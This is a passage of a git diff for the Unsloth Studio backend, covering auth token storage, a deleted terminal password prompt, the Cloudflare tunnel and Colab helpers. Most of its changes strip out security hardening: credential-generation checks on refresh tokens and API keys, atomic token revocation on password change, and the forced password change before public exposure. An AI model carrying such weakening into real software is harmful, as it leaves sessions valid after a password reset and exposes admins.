_BOOTSTRAP_PW_PATH, - os.O_WRONLY | os.O_APPEND | getattr(os, "O_BINARY", 0), - ) - try: - os.write(fd, b"\n") - try: - os.fchmod(fd, 0o600) - except (AttributeError, OSError): - # fchmod only reached Windows in 3.13. - pass - finally: - os.close(fd) - - -def _read_persisted_bootstrap_password() -> Optional[str]: - """Read the persisted password, normalising the file if it is malformed.""" - if not _BOOTSTRAP_PW_PATH.is_file(): - return None - - # No caller handles a raise, so an unreadable file has to mean "no bootstrap - # password", not a dead backend. We write UTF-8, so undecodable bytes are - # damage whose plaintext is worthless anyway. - try: - raw = _BOOTSTRAP_PW_PATH.read_bytes() - password = raw.decode("utf-8").strip() - except (OSError, UnicodeDecodeError): - return None - if not password: - return None - - # Older releases wrote no terminator; best-effort, a read-only auth dir must - # not fail startup. - if raw != _bootstrap_file_bytes(password): - try: - _normalise_bootstrap_file(raw, password) - except OSError: - pass - return password - - def generate_bootstrap_password() -> str: """Generate a 4-word diceware passphrase and persist it to disk. @@ -135,10 +39,10 @@ def generate_bootstrap_password() -> str: return _bootstrap_password # Persisted from a previous run? - persisted = _read_persisted_bootstrap_password() - if persisted: - _bootstrap_password = persisted - return _bootstrap_password + if _BOOTSTRAP_PW_PATH.is_file(): + _bootstrap_password = _BOOTSTRAP_PW_PATH.read_text().strip() + if _bootstrap_password: + return _bootstrap_password # First startup: generate a fresh passphrase. import diceware @@ -149,7 +53,11 @@ def generate_bootstrap_password() -> str: # Persist so the same passphrase survives restarts until password change. ensure_dir(_BOOTSTRAP_PW_PATH.parent) - _persist_bootstrap_password(_bootstrap_password) + _BOOTSTRAP_PW_PATH.write_text(_bootstrap_password) + try: + os.chmod(_BOOTSTRAP_PW_PATH, 0o600) + except OSError: + pass return _bootstrap_password @@ -160,54 +68,22 @@ def get_bootstrap_password() -> Optional[str]: def _load_bootstrap_password() -> Optional[str]: - """Load an existing bootstrap password without creating one. - - Upgrades take this path, not generate_bootstrap_password() - (ensure_default_admin short-circuits once the admin row exists), so it has - to normalise too. - """ + """Load an existing bootstrap password without creating one.""" global _bootstrap_password - _bootstrap_password = _read_persisted_bootstrap_password() + _bootstrap_password = None + if _BOOTSTRAP_PW_PATH.is_file(): + bootstrap_password = _BOOTSTRAP_PW_PATH.read_text().strip() + if bootstrap_password: + _bootstrap_password = bootstrap_password return _bootstrap_password def clear_bootstrap_password() -> None: - """Delete the persisted bootstrap password file (after a password change). - - Best-effort: the new hash is already committed, so a locked/undeletable file - (Windows AV, read-only auth dir) must not fail the change. - """ + """Delete the persisted bootstrap password file (called after password change).""" global _bootstrap_password _bootstrap_password = None if _BOOTSTRAP_PW_PATH.is_file(): - try: - _BOOTSTRAP_PW_PATH.unlink(missing_ok = True) - except OSError as e: - # Removal failed (Windows AV, read-only auth dir). The hash is already - # committed, so don't fail the change -- but truncate the file so its - # stale plaintext can't be re-seeded by generate_bootstrap_password() - # if auth.db is ever recreated. - try: - _BOOTSTRAP_PW_PATH.write_text("", encoding = "utf-8") - cleared = True - except OSError: - cleared = False - import sys - - if cleared: - message = ( - f"Warning: could not delete {_BOOTSTRAP_PW_PATH.name} ({e}); " - "cleared its contents so the old bootstrap password cannot be reused." - ) - else: - # Neither removed nor truncated: stale plaintext is still on disk - # and would be reused if auth.db is reset. Don't claim otherwise. - message = ( - f"Warning: could not delete or clear {_BOOTSTRAP_PW_PATH.name} ({e}); " - "its old bootstrap password is still on disk. Remove it manually to " - "prevent reuse after a reset." - ) - print(message, file = sys.stderr, flush = True) + _BOOTSTRAP_PW_PATH.unlink(missing_ok = True) def _hash_token(token: str) -> str: @@ -221,31 +97,6 @@ def _hash_token(token: str) -> str: return hashlib.sha256(token.encode("utf-8")).hexdigest() -class CredentialRotated(Exception): - """A password reset revoked the credential this request authenticated with.""" - - -def credential_generation(jwt_secret: str) -> str: - """Marker for the credential version a refresh token was issued under. - - Every password change rotates ``jwt_secret``, so a token stamped with the - previous one is rejected even if it was inserted after the revoking DELETE. - """ - return hashlib.sha256(jwt_secret.encode("utf-8")).hexdigest() - - -def _current_secret(conn: sqlite3.Connection, username: str) -> Optional[str]: - row = conn.execute( - "SELECT jwt_secret FROM auth_user WHERE username = ?", (username,) - ).fetchone() - return row["jwt_secret"] if row else None - - -def _current_generation(conn: sqlite3.Connection, username: str) -> Optional[str]: - secret = _current_secret(conn, username) - return credential_generation(secret) if secret is not None else None - - def get_connection() -> sqlite3.Connection: """Get a connection to the auth database, creating tables if needed.""" ensure_dir(DB_PATH.parent) @@ -260,7 +111,7 @@ def get_connection() -> sqlite3.Connection: pass conn.row_factory = sqlite3.Row # WAL lets token reads run concurrently with refresh-token writes; - # busy_timeout bounds lock waits. Matches the other Unsloth SQLite stores. + # busy_timeout bounds lock waits. Matches the other Studio SQLite stores. # Set busy_timeout first: switching journal_mode needs a lock, so if a # refresh-token write already holds one, journal_mode=WAL raises SQLITE_BUSY; # with busy_timeout already in effect it waits instead of failing and leaving @@ -289,8 +140,7 @@ def get_connection() -> sqlite3.Connection: token_hash TEXT NOT NULL, username TEXT NOT NULL, expires_at TEXT NOT NULL, - is_desktop INTEGER NOT NULL DEFAULT 0, - secret_gen TEXT + is_desktop INTEGER NOT NULL DEFAULT 0 ); """ ) @@ -329,8 +179,6 @@ def get_connection() -> sqlite3.Connection: refresh_columns = {row["name"] for row in conn.execute("PRAGMA table_info(refresh_tokens)")} if "is_desktop" not in refresh_columns: conn.execute("ALTER TABLE refresh_tokens ADD COLUMN is_desktop INTEGER NOT NULL DEFAULT 0") - if "secret_gen" not in refresh_columns: - conn.execute("ALTER TABLE refresh_tokens ADD COLUMN secret_gen TEXT") conn.commit() return conn @@ -422,8 +270,8 @@ def get_or_create_identity_secret() -> bytes: def compute_identity_proof(nonce: bytes, host: str, port: int) -> str: """HMAC-SHA256 proof that the caller holds this install's identity secret, bound to the loopback address and port the connection landed on. A proof - relayed from an Unsloth on a different address/port (a squatter proxying to the - real one, e.g. localhost resolving to ::1 while Unsloth is on 127.0.0.1) was + relayed from a Studio on a different address/port (a squatter proxying to the + real one, e.g. localhost resolving to ::1 while Studio is on 127.0.0.1) was computed for that other endpoint and won't match the one the client dialed.""" try: host = ipaddress.ip_address(host).compressed # normalise 127.0.0.1 / ::1 forms @@ -699,60 +547,27 @@ def ensure_default_admin() -> bool: return False -def update_password( - username: str, - new_password: str, - *, - revoke_refresh_tokens: bool = False, - expect_password_hash: Optional[str] = None, -) -> Optional[str]: - """Update password, clear first-login requirement, rotate JWT secret. - - Returns the new JWT secret, or None when nothing was updated. Callers that - mint tokens for the caller must sign with the returned secret: re-reading it - would pick up a reset that landed between this commit and the mint. - - ``revoke_refresh_tokens`` deletes the user's refresh tokens in the SAME - transaction: a separate delete could fail after the password commit and - leave a pre-change token still able to mint access tokens. - - ``expect_password_hash`` makes the write conditional on the credential the - caller verified still being current, so a request that checked the old - password cannot overwrite a reset that landed while it was in flight. - Returns False when the credential moved underneath it. - """ +def update_password(username: str, new_password: str) -> bool: + """Update password, clear first-login requirement, rotate JWT secret.""" from .hashing import hash_password salt, pwd_hash = hash_password(new_password) jwt_secret = secrets.token_urlsafe(64) conn = get_connection() try: - if expect_password_hash is None: - cursor = conn.execute( - """ - UPDATE auth_user - SET password_salt = ?, password_hash = ?, jwt_secret = ?, must_change_password = 0 - WHERE username = ? - """, - (salt, pwd_hash, jwt_secret, username), - ) - else: - cursor = conn.execute( - """ - UPDATE auth_user - SET password_salt = ?, password_hash = ?, jwt_secret = ?, must_change_password = 0 - WHERE username = ? AND password_hash = ? - """, - (salt, pwd_hash, jwt_secret, username, expect_password_hash), - ) - if revoke_refresh_tokens and cursor.rowcount > 0: - conn.execute("DELETE FROM refresh_tokens WHERE username = ?", (username,)) + cursor = conn.execute( + """ + UPDATE auth_user + SET password_salt = ?, password_hash = ?, jwt_secret = ?, must_change_password = 0 + WHERE username = ? + """, + (salt, pwd_hash, jwt_secret, username), + ) conn.commit() if cursor.rowcount > 0: clear_bootstrap_password() clear_desktop_secret() - return jwt_secret - return None + return cursor.rowcount > 0 finally: conn.close() @@ -763,49 +578,35 @@ def save_refresh_token( expires_at: str, *, is_desktop: bool = False, - secret_gen: Optional[str] = None, ) -> None: """ Store a hashed refresh token with its associated username and expiry. - - ``secret_gen`` binds the token to a credential version; it defaults to the - current one, and callers that already verified a credential must pass the - version they verified rather than let this re-read a rotated one. """ token_hash = _hash_token(token) conn = get_connection() try: - if secret_gen is None: - secret_gen = _current_generation(conn, username) conn.execute( """ - INSERT INTO refresh_tokens (token_hash, username, expires_at, is_desktop, secret_gen) - VALUES (?, ?, ?, ?, ?) + INSERT INTO refresh_tokens (token_hash, username, expires_at, is_desktop) + VALUES (?, ?, ?, ?) """, - (token_hash, username, expires_at, int(is_desktop), secret_gen), + (token_hash, username, expires_at, int(is_desktop)), ) conn.commit() finally: conn.close() -def consume_refresh_token(token: str) -> Optional[Tuple[str, bool, str]]: +def consume_refresh_token(token: str) -> Optional[Tuple[str, bool]]: """Atomically validate-and-delete a refresh token for single-use rotation. DELETE RETURNING fuses validate and delete into one statement so two - concurrent refresh requests cannot both consume the same token. Returns - ``(username, is_desktop, jwt_secret)``; the caller must mint the replacement - tokens against that secret so a rotation landing mid-refresh cannot issue a - post-rotation session from a pre-rotation token. + concurrent refresh requests cannot both consume the same token. """ token_hash = _hash_token(token) now = datetime.now(timezone.utc).isoformat() conn = get_connection() try: - # One transaction with the delete: an unstamped legacy row has no - # generation to compare, so reading the credential after committing would - # hand a reset's new secret to a token issued before it. - conn.execute("BEGIN IMMEDIATE") conn.execute( "DELETE FROM refresh_tokens WHERE expires_at < ?", (now,), @@ -814,21 +615,15 @@ def consume_refresh_token(token: str) -> Optional[Tuple[str, bool, str]]: """ DELETE FROM refresh_tokens WHERE token_hash = ? AND expires_at >= ? - RETURNING username, is_desktop, secret_gen + RETURNING username, is_desktop """, (token_hash, now), ) row = cur.fetchone() - if row is None: - conn.commit() - return None - secret = _current_secret(conn, row["username"]) conn.commit() - if secret is None: + if row is None: return None - if row["secret_gen"] is not None and row["secret_gen"] != credential_generation(secret): - return None - return row["username"], bool(row["is_desktop"]), secret + return row["username"], bool(row["is_desktop"]) finally: conn.close() @@ -852,7 +647,7 @@ def verify_refresh_token(token: str) -> Optional[Tuple[str, bool]]: cur = conn.execute( """ - SELECT id, username, expires_at, is_desktop, secret_gen FROM refresh_tokens + SELECT id, username, expires_at, is_desktop FROM refresh_tokens WHERE token_hash = ? """, (token_hash,), @@ -861,13 +656,6 @@ def verify_refresh_token(token: str) -> Optional[Tuple[str, bool]]: if row is None: return None - if row["secret_gen"] is not None and row["secret_gen"] != _current_generation( - conn, row["username"] - ): - conn.execute("DELETE FROM refresh_tokens WHERE id = ?", (row["id"],)) - conn.commit() - return None - # Check expiry expires_at = datetime.fromisoformat(row["expires_at"]) if datetime.now(timezone.utc) > expires_at: @@ -912,41 +700,30 @@ def create_desktop_secret() -> str: conn.close() -def validate_desktop_secret_with_credential(raw_secret: str) -> Optional[Tuple[str, str]]: - """Validate the desktop secret and return ``(username, jwt_secret)``. - - Both reads share one transaction so the returned secret is the credential - version the desktop secret was checked against; a reset landing mid-request - then invalidates the tokens minted from it rather than blessing them. - """ +def validate_desktop_secret(raw_secret: str) -> Optional[str]: + """Return the real admin username when the desktop secret matches.""" if not raw_secret.startswith(DESKTOP_SECRET_PREFIX): return None + if get_user_and_secret(DEFAULT_ADMIN_USERNAME) is None: + return None secret_hash = _pbkdf2_desktop_secret(raw_secret) conn = get_connection() try: - conn.execute("BEGIN") - row = conn.execute( + cur = conn.execute( "SELECT value FROM app_secrets WHERE key = ?", (_DESKTOP_SECRET_HASH_KEY,), - ).fetchone() - if row is None or not secrets.compare_digest(row["value"], secret_hash): + ) + row = cur.fetchone() + if row is None: return None - jwt_secret = _current_secret(conn, DEFAULT_ADMIN_USERNAME) - if jwt_secret is None: + if not secrets.compare_digest(row["value"], secret_hash): return None - return DEFAULT_ADMIN_USERNAME, jwt_secret + return DEFAULT_ADMIN_USERNAME finally: - conn.rollback() conn.close() -def validate_desktop_secret(raw_secret: str) -> Optional[str]: - """Return the real admin username when the desktop secret matches.""" - verified = validate_desktop_secret_with_credential(raw_secret) - return verified[0] if verified else None - - def clear_desktop_secret() -> None: """Remove backend-side desktop auth state.""" conn = get_connection() @@ -972,7 +749,6 @@ def create_api_key( name: str, expires_at: Optional[str] = None, internal: bool = False, - expect_gen: Optional[str] = None, ) -> Tuple[str, dict]: """Create a new API key for *username*. @@ -981,10 +757,6 @@ def create_api_key( Pass ``internal=True`` for keys minted by workflows (e.g. data-recipe runs) that should not appear in user-facing key listings. - - ``expect_gen`` ties the insert to the credential generation the request - authenticated under, so a session revoked by a concurrent password reset - cannot mint a key that outlives it. Raises ``CredentialRotated`` if it moved. """ raw_key = API_KEY_PREFIX + secrets.token_hex(16) key_hash = _pbkdf2_api_key(raw_key) @@ -993,12 +765,6 @@ def create_api_key( conn = get_connection() try: - if expect_gen is not None: - conn.execute("BEGIN IMMEDIATE") - if _current_generation(conn, username) != expect_gen: - raise CredentialRotated( - "The credential this request authenticated with was revoked." - ) conn.execute( """ INSERT INTO api_keys (username, key_prefix, key_hash, name, created_at, expires_at, is_internal) @@ -1087,25 +853,15 @@ def revoke_internal_api_key(key_id: int) -> bool: def validate_api_key(raw_key: str) -> Optional[str]: - """Validate *raw_key* and return the owning username, or ``None``.""" - verified = validate_api_key_with_credential(raw_key) - return verified[0] if verified else None + """Validate *raw_key* and return the owning username, or ``None``. - -def validate_api_key_with_credential(raw_key: str) -> Optional[Tuple[str, str]]: - """Validate *raw_key* and return ``(username, jwt_secret)``, or ``None``. - - Also updates ``last_used_at`` on success. The key check and the credential - read share one write transaction, so the returned version is the one the key - was actually valid under: a reset committing right after cannot have its new - generation handed to a request the key it revoked authenticated. + Also updates ``last_used_at`` on success. """ cache_id = _api_key_cache_id(raw_key) cached_hash = _api_key_hash_cache.get(cache_id) key_hash = cached_hash if cached_hash is not None else _pbkdf2_api_key(raw_key) conn = get_connection() try: - conn.execute("BEGIN IMMEDIATE") cur = conn.execute( "SELECT id, username, is_active, expires_at FROM api_keys WHERE key_hash = ?", (key_hash,), @@ -1125,15 +881,11 @@ def validate_api_key_with_credential(raw_key: str) -> Optional[Tuple[str, str]]: expires = datetime.fromisoformat(row["expires_at"]) if datetime.now(timezone.utc) > expires: return None - secret = _current_secret(conn, row["username"]) - if secret is None: - return None conn.execute( "UPDATE api_keys SET last_used_at = ? WHERE id = ?", (datetime.now(timezone.utc).isoformat(), row["id"]), ) conn.commit() - return row["username"], secret + return row["username"] finally: - conn.rollback() conn.close() diff --git a/studio/backend/auth/terminal_prompt.py b/studio/backend/auth/terminal_prompt.py deleted file mode 100644 index 925404f47d..0000000000 --- a/studio/backend/auth/terminal_prompt.py +++ /dev/null @@ -1,286 +0,0 @@ -# SPDX-License-Identifier: AGPL-3.0-only -# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 - -"""Interactive terminal prompt that forces a bootstrap password change before -Unsloth is exposed on a public Cloudflare URL (``--secure`` / ``--cloudflare``). - -Masked input echoes one ``*`` per keystroke (unlike ``getpass``). Works on -Windows (``msvcrt``) and Linux/macOS (``termios``). All output goes to stderr so -redirected stdout never swallows the prompt. - -Mirrored for the CLI at ``unsloth_cli/commands/_password_prompt.py`` (the CLI -cannot import the Unsloth backend package); keep the two in sync. -""" - -from __future__ import annotations - -import os -import sys -from typing import Callable, TextIO - -_CTRL_C = "\x03" -_CTRL_D = "\x04" -_CTRL_Z = "\x1a" -_BACKSPACES = ("\x7f", "\x08") -_SUBMITS = ("\r", "\n") - -# Env var that supplies the initial admin password non-interactively (mirror in -# unsloth_cli/commands/_password_prompt.py). Keep the name in sync. -SUPPLIED_PASSWORD_ENV = "UNSLOTH_STUDIO_PASSWORD" - - -def _getch_windows() -> str: # pragma: no cover - exercised via fake on Linux CI - import msvcrt - - ch = msvcrt.getwch() - # Function/arrow keys arrive as a two-wchar \x00/\xe0 sequence; consume the - # second half and report a no-op control char. - if ch in ("\x00", "\xe0"): - msvcrt.getwch() - return "\x00" - return ch - - -class _RestoreTtyOnSignals: - """Restore terminal attrs if SIGTERM/SIGHUP kills the prompt mid-read. - - A finally block can't run when a signal terminates the process, leaving the - shared terminal in cbreak/no-echo. Best-effort: no-op off the main thread or - where the signals are absent. - """ - - def __init__(self, fd: int, old_attrs) -> None: - self._fd = fd - self._old_attrs = old_attrs - self._previous: list = [] - - def __enter__(self) -> "_RestoreTtyOnSignals": - import signal - import termios - - def _restore_and_reraise(signum, frame): - termios.tcsetattr(self._fd, termios.TCSADRAIN, self._old_attrs) - signal.signal(signum, signal.SIG_DFL) - signal.raise_signal(signum) - - for name in ("SIGTERM", "SIGHUP"): - sig = getattr(signal, name, None) - if sig is None: - continue - try: - self._previous.append((sig, signal.signal(sig, _restore_and_reraise))) - except (ValueError, OSError): # non-main thread / unsupported - pass - return self - - def __exit__(self, *exc) -> None: - import signal - for sig, previous in self._previous: - try: - signal.signal(sig, previous) - except (ValueError, OSError): - pass - - -class _prompt_raw_mode: - """Hold cbreak + cleared ISIG (no echo) on stdin for the WHOLE prompt line, - restoring when the line finishes (and on SIGTERM/SIGHUP). - - Echo must never re-enable mid-line: cbreak echoes on receipt, so a keystroke - arriving while echo is on would appear in cleartext. One cbreak block for the - whole line closes that window. No-op when stdin is not a real terminal, so - the _getch seam can be faked in tests. - """ - - def __enter__(self) -> "_prompt_raw_mode": - self._fd = None - self._old_attrs = None - self._signals = None - try: - import termios - import tty - except ImportError: # non-POSIX (Windows uses msvcrt, no mode to hold) - return self - try: - fd = sys.stdin.fileno() - old_attrs = termios.tcgetattr(fd) - except (AttributeError, ValueError, OSError, termios.error): - return self # redirected / captured stdin (tests): nothing to hold - self._fd = fd - self._old_attrs = old_attrs - self._signals = _RestoreTtyOnSignals(fd, old_attrs) - self._signals.__enter__() - # cbreak (not raw) keeps output post-processing while disabling echo/line - # buffering. It leaves ISIG on, so clear it and surface Ctrl-C as \x03 to - # the caller loop, which restores the tty itself. - tty.setcbreak(fd, termios.TCSADRAIN) - new_attrs = termios.tcgetattr(fd) - new_attrs[3] &= ~termios.ISIG - termios.tcsetattr(fd, termios.TCSADRAIN, new_attrs) - return self - - def __exit__(self, *exc) -> None: - if self._old_attrs is None: - return - import termios - try: - termios.tcsetattr(self._fd, termios.TCSADRAIN, self._old_attrs) - finally: - if self._signals is not None: - self._signals.__exit__(*exc) - - -def _getch_posix() -> str: # pragma: no cover - needs a real tty - # Terminal already in cbreak+no-echo for the whole line (_prompt_raw_mode), - # so just read. Byte-at-a-time incremental decode so a multi-byte UTF-8 char - # straddling a read boundary isn't dropped. - import codecs - - fd = sys.stdin.fileno() - decoder = codecs.getincrementaldecoder(sys.stdin.encoding or "utf-8")("replace") - while True: - b = os.read(fd, 1) - if not b: - return "" # stream EOF; caller raises EOFError - ch = decoder.decode(b) - if ch: - return ch - - -_getch: Callable[[], str] = _getch_windows if os.name == "nt" else _getch_posix - - -def _read_password(prompt: str, *, out: "TextIO | None" = None) -> str: - """Read one masked line: echo ``*`` per char, support backspace editing. - - Raises KeyboardInterrupt on Ctrl-C and EOFError on Ctrl-D/Ctrl-Z with an - empty buffer; the terminal is restored on every exit path. - """ - if out is None: - out = sys.stderr - out.write(prompt) - out.flush() - chars: list[str] = [] - with _prompt_raw_mode(): - while True: - key = _getch() - if key == "": # stream ended mid-line: abort, don't submit a partial - out.write("\n") - out.flush() - raise EOFError - for ch in key: # a paste can deliver several chars per read - if ch in _SUBMITS: - out.write("\n") - out.flush() - return "".join(chars) - if ch == _CTRL_C: - out.write("\n") - out.flush() - raise KeyboardInterrupt - if ch in (_CTRL_D, _CTRL_Z): - if not chars: - out.write("\n") - out.flush() - raise EOFError - continue # ignore mid-input - if ch in _BACKSPACES: - if chars: - chars.pop() - out.write("\b \b") - out.flush() - continue - if ch < " ": # other control characters (tab, escape, ...) - continue - chars.append(ch) - out.write("*") - out.flush() - - -def should_prompt_password_change( - *, tunnel_will_start: bool, requires_change: bool, stdin_isatty: bool, stderr_isatty: bool -) -> bool: - """Whether to block startup on an interactive terminal password change. - - True only when the tunnel is actually about to start, the admin still has - the seeded password, and both stdin and stderr are real terminals (headless - launches keep the bootstrap-timeout protection instead of hanging). - """ - return tunnel_will_start and requires_change and stdin_isatty and stderr_isatty - - -def prompt_for_password_change( - *, - min_length: int, - is_current_password: Callable[[str], bool], - apply_change: Callable[[str], None], - username: str = "unsloth", - out: "TextIO | None" = None, -) -> bool: - """Force a new admin password before public exposure; True on success. - - Loops until a valid, confirmed password is committed via ``apply_change``. - Ctrl-C / EOF returns False; the caller must then abort the launch. - """ - if out is None: - out = sys.stderr - out.write( - "\n" - "Unsloth Studio will be exposed on the public internet, so set a\n" - "password now. Ctrl+C to abort.\n\n" - ) - out.flush() - try: - while True: - new_password = _read_password("New password: ", out = out) - if len(new_password) < min_length: - out.write(f"Password must be at least {min_length} characters; try again.\n") - out.flush() - continue - if any(ch.isspace() for ch in new_password): - out.write("Password cannot contain spaces; try again.\n") - out.flush() - continue - if is_current_password(new_password): - out.write( - "New password must differ from the current bootstrap password; try again.\n" - ) - out.flush() - continue - confirmation = _read_password("Confirm new password: ", out = out) - if confirmation != new_password: - out.write("Passwords do not match; try again.\n") - out.flush() - continue - apply_change(new_password) - out.write(f"Password updated for '{username}'.\n") - out.flush() - return True - except (KeyboardInterrupt, EOFError): - out.write("Password change aborted; not exposing Unsloth.\n") - out.flush() - return False - - -def resolve_supplied_password(cli_value: "str | None", out: "TextIO | None" = None) -> "str | None": - """Resolve a non-interactive initial admin password, or None if unset. - - Precedence: an explicit ``--password`` (literal ``-`` reads a line from - stdin), then the ``UNSLOTH_STUDIO_PASSWORD`` env var; empty/omitted means off. - A literal argv value is visible in the process list, so a note points at the - env var or stdin instead. Mirror of the CLI helper -- keep the two in sync. - """ - if out is None: - out = sys.stderr - if cli_value == "-": - line = sys.stdin.readline() - if not line: - return None - return line.rstrip("\r\n") or None - if cli_value: - out.write( - "Note: --password is visible in the process list and shell history; " - f"prefer {SUPPLIED_PASSWORD_ENV} or --password - (stdin).\n" - ) - out.flush() - return cli_value - return os.environ.get(SUPPLIED_PASSWORD_ENV) or None diff --git a/studio/backend/cloudflare_tunnel.py b/studio/backend/cloudflare_tunnel.py index f7967e2faa..ef7bacba67 100644 --- a/studio/backend/cloudflare_tunnel.py +++ b/studio/backend/cloudflare_tunnel.py @@ -1,13 +1,13 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Free Cloudflare quick tunnel for Unsloth's 0.0.0.0 launches. +"""Free Cloudflare quick tunnel for Studio's 0.0.0.0 launches. The raw http://: is often unreachable (https-vs-http, blocked ports, closed security groups); a cloudflared quick tunnel gives a free https://*.trycloudflare.com URL that works anywhere, with no account or domain. -Best-effort throughout: any failure collapses to "no URL" and Unsloth keeps +Best-effort throughout: any failure collapses to "no URL" and Studio keeps running. Stdlib only (back-end imports are lazy) so it is safe to import early. """ @@ -20,7 +20,6 @@ import shutil import subprocess import sys import threading -import time from pathlib import Path from typing import Optional, Tuple @@ -41,22 +40,6 @@ _RELEASE_BASE = "https://github.com/cloudflare/cloudflared/releases/latest/downl _READY_TIMEOUT = 15.0 # seconds to wait for the URL + a registered edge connection _DOWNLOAD_TIMEOUT = 60 # urlopen timeout for the one-time binary download -# A registered edge connection does not mean the hostname resolves yet, so the -# URL is fetched once before it is advertised. -_PUBLIC_PROBE_PATH = "/api/health" -_PUBLIC_PROBE_MARKER = "Unsloth UI Backend" -# One deadline for DNS propagation + the health probe, bounding the startup stall. -_PUBLIC_PROBE_TIMEOUT = 45.0 -_PUBLIC_PROBE_ATTEMPT_TIMEOUT = 5.0 -_PUBLIC_PROBE_RETRY_DELAY = 1.0 - -# Wait for the hostname via DoH first: an early OS lookup negative-caches the -# NXDOMAIN for up to 30 min. -_DNS_POLL_DELAY = 2.0 -# Retry transient DoH failures, but give up fast when DoH is blocked outright. -_DNS_MAX_DOH_ERRORS = 3 -_DOH_URL = "https://cloudflare-dns.com/dns-query?name={host}&type=A" - def _windows_hidden_kwargs() -> dict: """Suppress a child console window on Windows; no-op elsewhere.""" @@ -112,7 +95,7 @@ def _cache_path() -> Optional[Path]: def find_cloudflared() -> Optional[str]: - """Locate an existing cloudflared: PATH first, then the Unsloth bin cache.""" + """Locate an existing cloudflared: PATH first, then the Studio bin cache.""" on_path = shutil.which("cloudflared") if on_path: return on_path @@ -208,59 +191,6 @@ def ensure_cloudflared() -> Optional[str]: return None -def _wait_for_dns(host: str, deadline: float) -> None: - import json - import urllib.request - - errors = 0 - while True: - answered = False - try: - req = urllib.request.Request( - _DOH_URL.format(host = host), - headers = {"Accept": "application/dns-json", "User-Agent": "unsloth-studio"}, - ) - with urllib.request.urlopen(req, timeout = 5) as response: - answered = bool(json.loads(response.read(65536)).get("Answer")) - errors = 0 - except Exception: - errors += 1 - if errors >= _DNS_MAX_DOH_ERRORS: - return - if answered: - return - remaining = deadline - time.monotonic() - if remaining <= 0: - return - time.sleep(min(_DNS_POLL_DELAY, remaining)) - - -def verify_public_url(url: str, timeout: float = _PUBLIC_PROBE_TIMEOUT) -> bool: - import json - import urllib.request - from urllib.parse import urlsplit - - deadline = time.monotonic() + timeout - host = urlsplit(url).hostname - if host: - _wait_for_dns(host, deadline) - - probe_url = f"{url.rstrip('/')}{_PUBLIC_PROBE_PATH}" - while True: - try: - req = urllib.request.Request(probe_url, headers = {"User-Agent": "unsloth-studio"}) - with urllib.request.urlopen(req, timeout = _PUBLIC_PROBE_ATTEMPT_TIMEOUT) as response: - body = response.read(4096) - if json.loads(body).get("service") == _PUBLIC_PROBE_MARKER: - return True - except Exception: - pass - remaining = deadline - time.monotonic() - if remaining <= 0: - return False - time.sleep(min(_PUBLIC_PROBE_RETRY_DELAY, remaining)) - - class CloudflareTunnel: """A cloudflared quick tunnel to http://localhost:. Best-effort throughout. @@ -310,7 +240,6 @@ class CloudflareTunnel: stderr = subprocess.STDOUT, stdin = subprocess.DEVNULL, text = True, - encoding = "utf-8", errors = "replace", bufsize = 1, **_windows_hidden_kwargs(), @@ -380,7 +309,7 @@ class CloudflareTunnel: pass -# Single serving process per Unsloth launch, so one module-level tunnel handle is +# Single serving process per Studio launch, so one module-level tunnel handle is # enough; the lock guards the start/stop/shutdown races. _active_tunnel: Optional[CloudflareTunnel] = None _active_lock = threading.Lock() @@ -393,12 +322,11 @@ def start_studio_tunnel(port: int, timeout: float = _READY_TIMEOUT) -> Optional[ """Start a quick tunnel and return its public URL once it is actually serving, or None (best-effort). - Waits for cloudflared to both mint the URL and register an edge connection, - then fetches /api/health over the public URL, so the caller never advertises - a link that yields Cloudflare error 1033 (HTTP 530) or an unresolvable host. - If a URL is minted but no connection registers within the window (e.g. quic - is blocked on this network), retries once forcing the http2 protocol. On any - failure the tunnel is stopped and None is returned. + Waits for cloudflared to both mint the URL and register an edge connection + before returning, so the caller never advertises a URL that yields Cloudflare + error 1033 (HTTP 530). If a URL is minted but no connection registers within + the window (e.g. quic is blocked on this network), retries once forcing the + http2 protocol. On any failure the tunnel is stopped and None is returned. """ global _active_tunnel, _shutdown_requested binary = ensure_cloudflared() @@ -421,13 +349,9 @@ def start_studio_tunnel(port: int, timeout: float = _READY_TIMEOUT) -> Optional[ prior, _active_tunnel = _active_tunnel, tunnel if prior is not None: prior.stop() - registered = False try: tunnel.start() url = tunnel.wait_for_ready(timeout) - registered = url is not None - if url and not verify_public_url(url): - url = None except Exception: url = None if url: @@ -447,9 +371,6 @@ def start_studio_tunnel(port: int, timeout: float = _READY_TIMEOUT) -> Optional[ # http2 will not help, so do not burn another window on it. if not saw_url: return None - # probe failure after registering is DNS propagation; http2 would not help - if registered: - return None return None diff --git a/studio/backend/colab.py b/studio/backend/colab.py index bf4a6a44b5..dd274399bc 100644 --- a/studio/backend/colab.py +++ b/studio/backend/colab.py @@ -1,7 +1,9 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Colab helpers for Unsloth Studio. Uses Colab's built-in proxy.""" +""" +Colab helpers for Unsloth Studio. Uses Colab's built-in proxy. +""" from pathlib import Path import sys @@ -20,9 +22,11 @@ logger = get_logger(__name__) def get_colab_url(port: int = 8888) -> str: - """Get the Colab proxy URL for a port. + """ + Get the Colab proxy URL for a port. - Retries 3x validating a real HTTPS Colab URL; falls back to localhost on failure. + Retries up to 3 times, validating the result is a real HTTPS Colab URL. + Falls back to http://localhost:{port} only when all attempts fail. """ import time as _time @@ -51,243 +55,28 @@ def get_colab_url(port: int = 8888) -> str: return fallback -def _short_colab_url(url: str, port: int) -> str: - """Truncated display form of a Colab proxy URL; falls back to the full URL.""" +def show_link(port: int = 8888, *, _url: "str | None" = None): + """Display a styled clickable link to the UI. + + *_url* is an optional pre-fetched proxy URL; pass it to avoid a second eval_js round-trip. + """ + from IPython.display import display, HTML + + url = _url if _url is not None else get_colab_url(port) + + # Truncated display URL; try/except so an odd URL shape still renders the link. try: port_prefix = f"{port}-" idx = url.index(port_prefix) next_dash = url.index("-", idx + len(port_prefix)) - return url[: next_dash + 1] + "..." + short_url = url[: next_dash + 1] + "..." except (ValueError, IndexError): - return url + short_url = url + # Plain-text line so the URL shows even if HTML display fails. + logger.info(f"🌐 Unsloth Studio URL: {url}") -def _is_colab_proxy_url(url: str, port: int) -> bool: - """True when *url* looks like a real Colab kernel proxy, not a localhost fallback.""" - return bool(url and isinstance(url, str) and 